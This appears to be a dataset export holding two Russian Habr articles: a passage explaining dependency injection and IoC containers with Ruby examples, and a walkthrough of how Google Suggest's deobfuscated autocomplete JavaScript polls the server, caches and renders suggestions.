— некоторый сервис обработки счетов (InvoiceProcessor) и сервис уведомлений (NotificationService). Сервис обработки счетов отправляет уведомления при выполнений определённых условий, вынесем эту логику за рамки. В принципе, данная модель уже неплоха тем, что за разные ответственности отвечают отдельные компоненты. Проблема скрывается в том, как мы реализуем эти зависимости. Частой ошибкой является инициализация зависимости там, где эта зависимость используется:
```
class InvoiceProcessor
def process(invoice)
# инициализация зависимости внутри зависимого объекта
notificationService = NotificationService.new
notificationService.notify(invoice.owner)
end
end
```
Это является ошибкой ввиду того, что мы получаем высокую связность логически независимых объектов (High Coupling). Это приводит нарушению принципа единственной ответственности (Single Responsibility Principle) — зависимый объект помимо своих непосредственных ответственностей должен инициализировать свои зависимости; а также «знать» интерфейс конструктора зависимости, что приведёт к дополнительной причине для изменения ([«reason to change», R. Martin](https://blog.cleancoder.com/uncle-bob/2014/05/08/SingleReponsibilityPrinciple.html)). Правильнее передавать подобного рода зависимости, инициализированные вне зависимого объекта:
```
class InvoiceProcessor
def initialize(notificationService)
@notificationService = notificationService
end
def process(invoice)
@notificationService.notify(invoice.owner)
end
end
notificationService = NotificationService.new
invoiceProcessor = InvoiceProcessor.new(notificationService)
```
Такой подход соответствует принципу инверсии зависимостей (Dependency Inversion Principle). Теперь мы передаём объект с интерфейсом отправки сообщений — сервису обработки счетов уже нет необходимости «знать», как конструировать объект сервиса уведомлений. При написании модульных тестов для сервиса обработки счетов разработчику не нужно ломать голову о том, как подменить реализацию интерфейса сервиса уведомлений заглушкой. В языках с динамической типизацией, типа Ruby, можно подставить любой объект отвечающий методу notify; со статической же типизацией, типа C#/Java, можно использовать интерфейс INotificationService, для которого легко создать Mock. Детально вопрос инверсии зависимостей раскрыт Александром Бындю ([AlexanderByndyu](https://habr.com/ru/users/alexanderbyndyu/)) [в статье](https://blog.byndyu.ru/2009/12/blog-post.html), которая совсем недавно отметила 10-летие!
Уровень 2: реестр связанных объектов
------------------------------------
Использование принципа инверсии зависимости не выглядит сложной практикой. Но со временем из-за роста количества объектов и связей появляются новые вызовы. NotificationService может использоваться другими сервисами кроме InvoiceProcessor. Помимо этого, он сам может зависеть от других сервисов, которые, в свою очередь, зависят о третьих и т.д. Также некоторые компоненты не всегда могут быть использованы в единственном экземпляре. Главной задачей становится поиск ответа на вопрос — «когда создавать зависимости?».
Для решения этого вопроса можно попробовать построить решение, в основе которого лежит ассоциативный массив зависимостей. Примерный интерфейс его работы мог бы выглядеть так:
```
registry.add(InvoiceProcessor)
.depends_on(NotificationService)
registry.add(NotificationService)
.depends_on(ServiceX)
invoiceProcessor = registry.resolve(InvoiceProcessor)
invoiceProcessor.process(invoice)
```
Это не трудно реализовать практически:
При каждом вызове container.resolve() мы будем обращаться к фабрике, которая будет создавать экземпляры зависимостей, рекурсивно обходя граф зависимостей, описанных в реестре. В случае `container.resolve(InvoiceProcessor)` будет выполнено следующее:
1. factory.resolve(InvoiceProcessor) — фабрика запрашивает зависимости InvoiceProcessor в регистре, получает NotificationService, который тоже нужно собрать.
2. factory.resolve(NotificationService) — фабрика запрашивает зависимости NotificationService в регистре, получает ServiceX, который тоже нужно собрать.
3. factory.resolve(ServiceX) — не имеет зависимостей, создаём, возвращаемся по стеку вызовов к шагу 1, получаем собранный объект типа InvoiceProcessor.
Каждый компонент может зависеть от нескольких других, поэтому очевиден вопрос — «как корректно провести соответствие параметров конструктора с полученными экземплярами зависимостей?». Пример:
```
class InvoiceProcessor
def initialize(notificationService, paymentService)
# ...
end
end
```
В языках со статической типизацией в качестве селектора может служить тип параметра:
```
class InvoiceProcessor {
constructor(notificationService: NotificationService, paymentService: PaymentService) {
// ...
}
}
```
В рамках Ruby можно использовать соглашение — просто используем имя типа в формате snake\_case, это и будет ожидаемым именем параметра.
Уровень 3: управление временем жизни зависимостей
-------------------------------------------------
Мы уже получили неплохое решение для управления зависимостями. Единственным его ограничением является необходимость создания нового экземпляра зависимости при каждом обращении. А что если мы не можем создавать более одного экземпляра какого-либо компонента? Например, пула соединений к БД. Копнём глубже, а если нам требуется обеспечить управляемое время жизни зависимостей? Например, закрывать соединение к БД после завершения HTTP-запроса.
Становится очевидным, что кандидатом на замену в изначальном решении является InstanceFactory. Обновлённая диаграмма:
И логичным решением является использованием набора стратегий ([Strategy, GoF](https://refactoring.guru/ru/design-patterns/strategy)) для получения экземпляров компонентов. Теперь мы не всегда создаём новые экземпляры при обращении Container::resolve, поэтому уместно переименовать Factory в Resolver. Обратите внимание, у метода Container::register появился новый параметр — life\_time (время жизни). Этот параметр является необязательным — по умолчанию его значением является «transient» (скоротечный), что соответствует ранее реализованному поведению. Стратегия «singleton» также является очевидной — с её использованием создаётся лишь один экземпляр компонента, который будет возвращаться каждый раз.
«Scope» является несколько более сложной стратегией. Вместо «скоротечек» и «одиночек» зачастую требуется использовать нечто среднее — компонент, который существует на протяжении жизни другого компонента. Подобным примером может быть объект запроса веб-приложения, который является контекстом существования таких объектов, как, например, HTTP-параметры, соединение с БД, агрегаты модели. На протяжении жизни запроса мы собираем и используем эти зависимости, а после его уничтожения ожидаем, что все они будут также уничтожены. Для реализации такой функциональности потребуется разработать достаточно сложную, замкнутую объектную структуру:
На схеме показан фрагмент, отражающий изменения в классах Component и LifetimeStrategy в контексте реализации времени жизни Scoped. Получился этакий «двойной мост» (по аналогии с шаблоном [Bridge, GoF](https://refactoring.guru/ru/design-patterns/bridge)). С помощью хитросплетения приёмов наследования и агрегации Component становится ядром контейнера. Кстати, на диаграмме присутствует множественное наследование. Там, где это позволяет язык программирования и совесть, можно так и оставить. В Ruby я использую примеси, в других языках можно заменить наследование ещё одним мостом:
На диаграмме последовательности показан жизненный цикл компонента session, который привязан к времени жизни компонента request:
Как видно из диаграммы, в определённый момент времени, когда компонент request завершает свою миссию, вызывается метод release, который запускает процесс уничтожения scope.
Уровень 4: Dependency Injection
-------------------------------
До сих пор я рассказывал о том, как определить реестр зависимостей, и, затем, как создавать и уничтожать компоненты в соответствии с графом образовавшихся связей. А для чего это вообще нужно? Предположим, что мы используем это в рамках Ruby on Rails:
```
class InvoiceController < ApplicationController
def pay(params)
invoice_repository = registry.resolve(InvoiceRepository)
invoice_processor = registry.resolve(InvoiceProcessor)
invoice = invoice_repository.find(params[:id])
invoice_processor.pay(invoice)
end
end
```
Код, который будет написан таким образом, не будет более читаемым, тестируемым и гибким. Мы не можем “заставить” Rails внедрять зависимости контроллера через его конструктор, это не предусмотрено фреймворком. Но, например, в ASP.NET MVC это реализовано на базовом уровне. Для получения максимальной отдачи от использования механизма автоматического разрешения зависимостей необходимо реализовать технику Inversion of Control (IoC, инверсия управления). Это такой подход, при котором ответственность за разрешение зависимостей выходит за рамки прикладного кода и ложится на фреймворк. Рассмотрим пример.
Представим, что мы проектируем что-то наподобие Rails с нуля. Реализуем следующую схему:
Приложение получает запрос, роутер извлекает параметры и поручает соответствующему контроллеру обработать этот запрос. Такая схема условно копирует поведение типичного веб-фреймворка лишь с небольшой разницей — созданием и внедрением зависимостей занимается IoC-контейнер. Но здесь возникает вопрос, а где же создаётся сам контейнер? Для того, чтобы охватить как можно больше объектов будущего приложения наш фреймворк должен создавать контейнер на самом раннем этапе его работы. Очевидно, что нет более подходящего места, чем конструктор приложения App. Он также является и наиболее подходящим местом для настройки всех зависимостей:
```
class App
# Инициализация приложения - место, где происходит создание и настройка контейнера.
def initialize
@container = Container.new
@container
.register(Controller)
.using_lifetime(:transient) # короткоживущий, создаётся при каждом обращении
@container
.register(InvoiceService)
.using_lifetime(:singleton) # одиночка, существует пока работает приложение
@container
.register(Router)
.using_lifetime(:singleton) # одиночка
end
# Точка входа в приложение - эталонное и желательно единственное место,
# где происходит прямое обращение к контейнеру.
def call(env)
router = @container.resolve(Router)
router.handle(env.path, env.method, env.params)
end
end
```
В любом приложении есть точка входа, например, метод main. В рамках данного примера точкой входа является метод call. Задачей этого метода является вызов маршрутизатора для обработки входящих запросов. Точка входа должна быть единственным местом вызова контейнера напрямую — с этого момента контейнер должен уйти на второй план, вся последующая магия должна происходить «под капотом». Реализация контроллера в рамках такой архитектуры действительно выглядит необычно. Несмотря на то, что мы не создаём его экземпляры явно, он имеет конструктор с параметрами:
```
class Controller
# Зависимости внедряются автоматически.
# Конструктор вызывается средой исполнения.
def initialize(invoice_service)
@invoice_service = invoice_service
end
def create_invoice(params)
@invoice_service.create(params)
end
end
```
Среда «понимает» как создавать экземпляры контроллера. Это возможно благодаря механизму внедрения зависимостей, которую обеспечивает IoC-контейнер, встроенный в сердце веб-приложения. В конструкторе контроллера теперь можно перечислять всё, что требуется для его работы. Главное, чтобы в контейнере были зарегистрированы соответствующие компоненты. Теперь обратимся к реализации маршрутизатора:
```
class Router
# Зависит от компонента с заевдомо меньшим временем жизни - контейнер
# самостоятельно обеспечивает производство экземпляров зависимостей
# в соответствии с заданной стратегией.
def initialize(controller)
@controller = controller
end
def handle(path, method, params)
# реализация "супер"-маршрутизатора
if path == '/invoices' && method == 'POST'
@controller.create(params)
end
end
end
```
Обратите внимание, что Router зависит от Controller. Если вспомнить параметры настройки зависимостей, то Controller — это короткоживущий компонент, а Router — постоянная одиночка. Как же такое может быть? Разгадка заключается в том, что компоненты не являются экземплярами соответствующих классов, как это выглядит внешне. На самом деле это proxy-объекты ([Proxy, GoF](https://refactoring.guru/ru/design-patterns/proxy)) с фабричным методом ([Factory Method, GoF](https://refactoring.guru/ru/design-patterns/factory-method)) instance; они возвращают экземпляр компонента в соответствии с назначенной стратегией. Поскольку Controller зарегистрирован как «transient», то Router при обращении всегда будет иметь дело с его новым экземпляром. На диаграмме последовательности отражён примерный механизм работы:
Т.е. помимо управления зависимостями хороший фреймворк на основе IoC-контейнера также берёт на себя ответственность за корректное управление временем жизни компонентов.
Заключение
----------
Техника Dependency Injection может иметь достаточно изощрённую внутреннюю реализацию. Это цена переноса сложности реализации гибких приложений в ядро фреймворка. Пользователю подобных фреймворков можно не беспокоиться о сугубо технических аспектах, а уделять больше времени комфортной разработке бизнес-логики прикладных программ. С использованием качественной реализации DI прикладной программист изначально пишет тестируемый, хорошо поддерживаемый код. Наглядным примером реализации Dependency Injection служит фреймворк [Dandy](https://github.com/cylon-v/dandy), описанный в моей предыдущей статье [Ортодоксальный Backend](https://habr.com/ru/post/474504/). | https://habr.com/ru/post/480364/ | null | ru | null |
# Google Suggest – взгляд изнутри…
Разные люди немного разбирались в принципе работы Google Suggest, но я переписал сжатый javascript код так, чтобы каждый обычный разработчик мог подробно узнать, как эта система работает. Моя финальная переписанная версия скрипта доступна [здесь](http://www.fastbugtrack.com/misc/google/ac.js).
Я увидел самую крутую штуку, которую я видел с тех пор как обнаружил SOAP-клиент с поддержкой WSDL в браузере Mozilla. Технология предсказания запросов Google Suggest работает в реальном режиме времени. С вводом каждой новой буквы список вариантов обновляется. Скрипт технически восхитителен как минимум по двум причинам:
1. Скорость. Даже при быстрой печати список вариантов поразительно быстро обновляется после каждого нажатия клавиши.
2. Интерфейс. Я пользовался в основном серверным кодом и старался избежать яваскрипта, но стал менять свое мнение о клиентских скриптах, пользуясь впечатляющими интерфейсами gmail, а теперь и google suggest (а также многими другими продуктами Google).
Думаю, что каждый может положительно оценить работу кода по следующим причинам:
1. Выпадающее меню идеально соответствует ширине поисковой строки…
2. Самый подходящий вариант в строке поиска выделен.
3. Отлично реализовано слежение за нажатиями клавиш и положением курсора мыши.
4. Отличная поддержка кэша, так что после нажатия Backspace скрипт не посылает новый запрос на сервер.
5. Динамическая подстройка скорости обновления в зависимости от пинга на Google.
Итак, мне захотелось понять динамический интерфейс этой разработки.
Я сохранил html и javascript локально… Я запустил его и использовал отладку для «расшифровки» обфусцированного скрипта.
Объект XMLHTTP / XMLHttpRequest служит для коммуникации с сервером Google, отправки запросов и получения данных без обновления страницы… Чтобы полность понять код, мне было необходимо знать, что присылает обратно сервер. Но когда я пытался открыть url напрямую, то не получал ничего, кроме 404 ошибки. Я пробовал использовать локальный прокси сервер для браузера, но выяснилось, что объект XMLHttp не использует браузерный прокси при соединении.
Оригинальный обфусцированный скипт Google доступен [здесь](http://www.google.com/ac.js)…
Выполнение скрипта вызывается из HTML-страницы командой InstallAC()…
Интересно, что при этом осуществляется проверка:
var Jb=«zh-CN|zh-TW|ja|ko|vi|»
То есть система пытается определить пользователей из Японии, Кореи и Китая, что может говорить о поддержке не только английского, но и азиатских языков.
Функция InstallAC вызывает другую функцию (installACPart2), которая проверяет поддержку браузером XMLHttp и создает ресурс «\_completeDiv», куда и направляется контент, полученный с сервера.
Функция mainLoop вызывается периодически используя javascript функцию setTimeout. Интересно заметить, что разработчики решили использовать механизм, основанный на timeout, а не на keydown. Это было сделано для тех пользователей, которые имеют быструю скорость печати и медленное Интернет-соединение. Эта функция выясняет, изменилось ли значение текстового поля, а затем сначала ищет в закешированных данных, а затем отправляет новый запрос к серверу. Код google suggestion также поддерживает старые браузеры, не имеющие в ядре объект XMLHttp, использую технологию cookies и перезагружая фрейм.
Обычный запрос к серверу Google довольно прост. При обращении к серверу формируется строка [www.google.com/complete/search?hl=en&js=true&qu=fast%20bug](http://www.google.com/complete/search?hl=en&js=true&qu=fast%20bug) (для примера использована фраза «fast bug»).
Затем задается \_xmlHttp.onchange колбэк-функция, которая получит данные запроса:
sendRPCDone(frameElement, «fast bug», new Array(«fast bug track», «fast bugs», «fast bug», «fast bugtrack»), new Array(«793,000 results», «2,040,000 results», «6,000,000 results», «7,910 results»), new Array(""));
Эта функция объявляется в файле ac.js. Она задает время основного цикла запроса, кэширует полученные результаты поиска и заполняет ими элемент \_completeDiv DIV.
Функция displaySuggestedList отображает полученные результаты, создавая структуру данных из элементов DIV и SPAN. Для каждого элемента в полученном списке структура данных будет иметь следующий порядок:
`bug tracking
500,000 results`
Функция Pa() вызывается тогда, когда данные с сервера получены, а так же когда нажимается кнопка. Она подсвечивает введенный текст. | https://habr.com/ru/post/31672/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.